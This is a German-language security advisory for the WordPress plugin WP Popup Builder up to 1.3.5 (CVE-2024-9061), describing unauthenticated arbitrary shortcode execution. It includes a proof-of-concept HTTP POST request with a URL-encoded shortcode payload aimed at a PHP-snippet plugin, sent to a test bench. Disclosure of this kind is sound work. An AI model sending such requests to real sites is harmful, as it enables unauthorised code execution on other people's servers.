
WP Popup Builder – Popup-Formulare und Marketing-Lead-Generierung <= 1.3.5 - Nicht authentifizierte beliebige Shortcode-Ausführung über wp_ajax_nopriv_shortcode_Api_Add
WP Popup Builder – Popup-Formulare und Marketing-Lead-Generierung <= 1.3.5 - Nicht authentifizierte willkürliche Shortcode-Ausführung über wp_ajax_nopriv_shortcode_Api_Add
Das Plugin WP Popup Builder – Popup-Formulare und Marketing-Lead-Generierung für WordPress ist anfällig für willkürliche Shortcode-Ausführung über die AJAX-Aktion wp_ajax_nopriv_shortcode_Api_Add in allen Versionen bis einschließlich 1.3.5. Dies liegt daran, dass die Software Benutzern erlaubt, eine Aktion auszuführen, die einen Wert nicht ordnungsgemäß validiert, bevor do_shortcode ausgeführt wird. Dies ermöglicht es nicht authentifizierten Angreifern, beliebige Shortcodes auszuführen. HINWEIS: Diese Sicherheitslücke wurde in Version 1.3.5 teilweise durch eine Nonce-Prüfung behoben, die den Zugriff auf die betroffene Funktion effektiv verhinderte. Version 1.3.6 enthält jedoch die korrekte Autorisierungsprüfung, um unbefugten Zugriff zu verhindern.
Ich hatte ein anderes Plugin für die PHP-Ausführung installiert, konnte es aber nie zur Ausführung bringen.
[xyz-ips snippet="test"]
Typ: Plugin
CVSS-Score: 7.3
CVE: CVE-2024-9061
Slug: wp-popup-builder
Download-Link: Herunterladen [wp-popup-builder Version 1.3.2](https://downloads.wordpress.org/plugin/wp-popup-builder.1.3.2.zip)
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: keep-alive
action=shortcode_Api_Add&shortcode=%5b%78%79%7a%2d%69%70%73%20%73%6e%69%70%70%65%74%3d%22%74%65%73%74%22%5d
Die Antwort ist ein leerer 200er-Status.